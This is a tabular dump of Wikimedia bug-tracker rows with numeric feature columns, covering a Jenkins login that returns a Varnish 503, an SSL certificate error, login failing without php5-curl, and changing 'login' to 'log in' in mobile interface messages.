(Error code: ssl_error_bad_cert_domain)",,,1393927430,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,29.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.230769230769231,0.4,"**popeno2003** wrote:

(In reply to pouyan from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

So the error is in firefox:
(Error code: ssl_error_bad_cert_domain)"
63710,Jenkins: Consistently getting 503 Varnish in response to succesful login,"As of late, when logging in to Jenkins I get a 503 error from Varnish in return (the green wmerror page, much like our php/wmerror one).

https://integration.wikimedia.org/ci/login?from=%2Fci%2F

It only does that for a successful login though, with a wrong password it just shows the login form again with the relevant error message.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1392937680,1566399419.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-7udvbfwj4m74rreqrolm,task_description,resolved,True,c3,1,True,True,False,-71,True,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,6.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,3.6987951807228914,0.7228915662650602,"As of late, when logging in to Jenkins I get a 503 error from Varnish in return (the green wmerror page, much like our php/wmerror one).

URL

It only does that for a successful login though, with a wrong password it just shows the login form again with the relevant error message.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
1338084,Jenkins: Consistently getting 503 Varnish in response to succesful login, Nope.,,,1566399419,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,3,True,,,215,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0, Nope.
1337749,Jenkins: Consistently getting 503 Varnish in response to succesful login,"At the time I think I encountered the issue a couple time at most. Since 2015 lot of things have changed (Jenkins upgrades, Varnish/vcl changed ..), I don't think this task applies anymore.

@Krinkle do you still encounter those 503 when login to Jenkins?",,,1566373437,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,3,True,,,215,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,16.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,7.0,9.0,4.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.909090909090909,0.8181818181818182,"At the time I think I encountered the issue a couple time at most. Since 2015 lot of things have changed (Jenkins upgrades, Varnish/vcl changed ..), I don't think this task applies anymore.
SCREEN_NAME do you still encounter those 503 when login to Jenkins?"
625579,Jenkins: Consistently getting 503 Varnish in response to succesful login,Still happening. Makes logging into Jenkins unnecessarily difficult.,,,1457457865,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,6.1,0.9,Still happening. Makes logging into Jenkins unnecessarily difficult.
470479,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Still happening.

https://integration.wikimedia.org/ci/loginError

> If you report this error to the Wikimedia System Administrators, please include the details below.
>```
> Request: GET http://integration.wikimedia.org/ci/loginError, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 265195218
> Forwarded for: 90.220.24.136, 10.64.0.172
> Error: 503, Service Unavailable at Sun, 07 Jun 2015 17:14:09 GMT
> ```",,,1433697328,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.6666666666666665,0.7777777777777778,"Still happening.

URL

QUOTE
QUOTE"
470478,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Still happening.

https://integration.wikimedia.org/ci/loginError

> If you report this error to the Wikimedia System Administrators, please include the details below.
>```
>Request: GET http://integration.wikimedia.org/ci/loginError, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 265195218
>Forwarded for: 90.220.24.136, 10.64.0.172
>Error: 503, Service Unavailable at Sun, 07 Jun 2015 17:14:09 GMT
```",,,1433697317,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.6666666666666665,0.7777777777777778,"Still happening.

URL

QUOTE
QUOTE"
470477,Jenkins: Consistently getting 503 Varnish in response to succesful login,Still happening.,,,1433697276,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,5.0,1.0,Still happening.
287088,Jenkins: Consistently getting 503 Varnish in response to succesful login,The patch got deployed and the misc varnish cache is now instructed to vary by protocol (Vary: X-Forwarded-Proto).  I guess that would solve this bug as well.,,,1393325913,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5675675675675675,0.9459459459459459,The patch got deployed and the misc varnish cache is now instructed to vary by protocol (Vary: X-Forwarded-Proto).  I guess that would solve this bug as well.
287085,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Err patch is https://gerrit.wikimedia.org/r/#/c/113958/ , will be deployed on monday.",,,1392940672,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,1.0,"Err patch is URL , will be deployed on monday."
287082,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Might be related to bug 58279, aka http redirects to https being cached in varnish and cache not varying by protocol.

Patch is https://gerrit.wikimedia.org/r/#/c/114464/ , will be deployed on monday.",,,1392940628,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.911764705882353,0.8823529411764706,"Might be related to bug 58279, aka http redirects to https being cached in varnish and cache not varying by protocol.

Patch is URL , will be deployed on monday."
287078,Jenkins: Consistently getting 503 Varnish in response to succesful login,"When I manually go back with cache disabled it shows me being logged in though, so it did somehow get through.",,,1392937712,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.9130434782608696,0.9565217391304348,"When I manually go back with cache disabled it shows me being logged in though, so it did somehow get through."
63093,Login does not work without php5-curl,"Trying to log in with the PhpHttpRequest class rather than curl causes the error ""ssl certificate problem: unable to get local issuer certificate"".

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1391883180,1484383234.0,PHID-USER-ea6gwat27oulytc5tvsy,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-eia2heond33mbc2eap44,task_description,declined,True,c3,1,False,False,False,-73,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.377777777777778,0.6888888888888889,"Trying to log in with the PhpHttpRequest class rather than curl causes the error ""ssl certificate problem: unable to get local issuer certificate"".

--------------------------
**Version**: unspecified
**Severity**: normal"
791550,Login does not work without php5-curl,"From T155291:

> Closing as the Persona service has been shut down. 
> 
>>>! From **[Mozilla](https://developer.mozilla.org/en-US/Persona)**:
>> Persona is no longer actively developed by Mozilla. Mozilla kept operational and security support of the persona.org service until November 2016.
>> On November 30th, 2016, the persona.org services were shut down.
> 
> See also:
> * <https://developer.mozilla.org/en-US/Persona>
> * <https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers>

",,,1484383234,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-eia2heond33mbc2eap44,task_subcomment,,True,c3,3,True,,,80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1363636363636362,0.2727272727272727,"From T155291:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

"
62426,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","**Author:** `jonesey95`

**Description:**
This is a grammar fix. 

In many locations in this extension, the noun ""login"" is used as a verb. It needs to be changed to the verb phrase ""log in"". Examples:

MediaWiki:mobile-frontend-donate-image-login-action (Login to share your media.)
MediaWiki:mobile-frontend-edit-login-action (Login to edit.)
MediaWiki:mobile-frontend-generic-login-action (Login to contribute.)
MediaWiki:mobile-frontend-photo-upload-anon (Please login to add an image to this page.)
MediaWiki:mobile-frontend-user-cta (Please login or sign up to see your notifications.)
MediaWiki:mobile-frontend-watchlist-cta-button-login (Login)
MediaWiki:mobile-frontend-watchlist-login-action (Login to see it.)

Discussion at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#Mobile_interface_contains_bad_English

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=6138",Low,25.0,1390668780,1390872112.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_description,resolved,True,c3,1,False,False,True,-75,True,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,5.333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,0.0,0.0,15.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.0,10.666666666666666,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,4.333333333333333,0.6666666666666666,0.0,0.0,1.6666666666666667,5.333333333333333,4.333333333333333,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,3.3592982456140352,0.4904678362573099,"**Author:** CODE

**Description:**
This is a grammar fix. 

In many locations in this extension, the noun ""login"" is used as a verb. It needs to be changed to the verb phrase ""log in"". Examples:

MediaWiki:mobile-frontend-donate-image-login-action (Login to share your media.)
MediaWiki:mobile-frontend-edit-login-action (Login to edit.)
MediaWiki:mobile-frontend-generic-login-action (Login to contribute.)
MediaWiki:mobile-frontend-photo-upload-anon (Please login to add an image to this page.)
MediaWiki:mobile-frontend-user-cta (Please login or sign up to see your notifications.)
MediaWiki:mobile-frontend-watchlist-cta-button-login (Login)
MediaWiki:mobile-frontend-watchlist-login-action (Login to see it.)

Discussion at URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
290257,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",I'm a tad confused as earlier today it seemed some messages were still using 'Login' but that doesn't seem to be the case now. I can only assume I was looking at some outdated branch.,,,1390872112,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,7.0,0.0,12.0,7.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,10.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,3.6341463414634148,0.8780487804878049,I'm a tad confused as earlier today it seemed some messages were still using 'Login' but that doesn't seem to be the case now. I can only assume I was looking at some outdated branch.
290247,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109698 abandoned by Jdlrobson:
Switch from 'log in' to 'sign in'

Reason:
The ones that were missing seem to have magically appeared. A little confused but looks like this is done.

https://gerrit.wikimedia.org/r/109698",,,1390871994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,16.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,16.0,7.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8,0.8,"Change 109698 abandoned by Jdlrobson:
Switch from 'log in' to 'sign in'

Reason:
The ones that were missing seem to have magically appeared. A little confused but looks like this is done.

GERRIT_URL"
290236,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","According to Kenan (product owner/manager for mobile web), we ought to keep 'log in'. Jon, we should probably just abandon the patchset. I took a quick look through the i18n file an browser tests, I didn't see any other errant instances of 'login', though I may be mistaken.",,,1390871731,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,0.0,8.0,0.0,5.0,11.0,0.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,9.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,11.0,6.0,0.0,6.0,0.0,8.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.546875,0.796875,"According to Kenan (product owner/manager for mobile web), we ought to keep 'log in'. Jon, we should probably just abandon the patchset. I took a quick look through the i18n file an browser tests, I didn't see any other errant instances of 'login', though I may be mistaken."
290230,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",Whatever I'm not fussed either way. That said - there are a few more instances of login that need changing to 'log in' for this bug to be resolved.,,,1390859574,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,3.0,3.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,9.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,3.0,0.0,0.0,3.5,0.9117647058823529,Whatever I'm not fussed either way. That said - there are a few more instances of login that need changing to 'log in' for this bug to be resolved.
290225,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","**jonesey95** wrote:

Why would this be changed to ""sign in"" when the regular (non-mobile) site uses ""log in""? I would think that the terminology should be consistent across the site, if only for ease of documentation. 

""Log in"" appears to be the accepted phrase. I believe that ""Sign in"" would introduce inconsistency.",,,1390858403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,1.0,0.0,8.0,3.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,3.0,0.0,4.0,16.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,4.0,4.0,0.0,1.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,11.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,16.0,0.0,1.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5526315789473686,0.6447368421052632,"**jonesey95** wrote:

Why would this be changed to ""sign in"" when the regular (non-mobile) site uses ""log in""? I would think that the terminology should be consistent across the site, if only for ease of documentation. 

""Log in"" appears to be the accepted phrase. I believe that ""Sign in"" would introduce inconsistency."
290221,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109698 had a related patch set uploaded by Jdlrobson:
Switch from 'log in' to 'sign in'

https://gerrit.wikimedia.org/r/109698",,,1390847196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,20.0,12.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.64,0.84,"Change 109698 had a related patch set uploaded by Jdlrobson:
Switch from 'log in' to 'sign in'

GERRIT_URL"
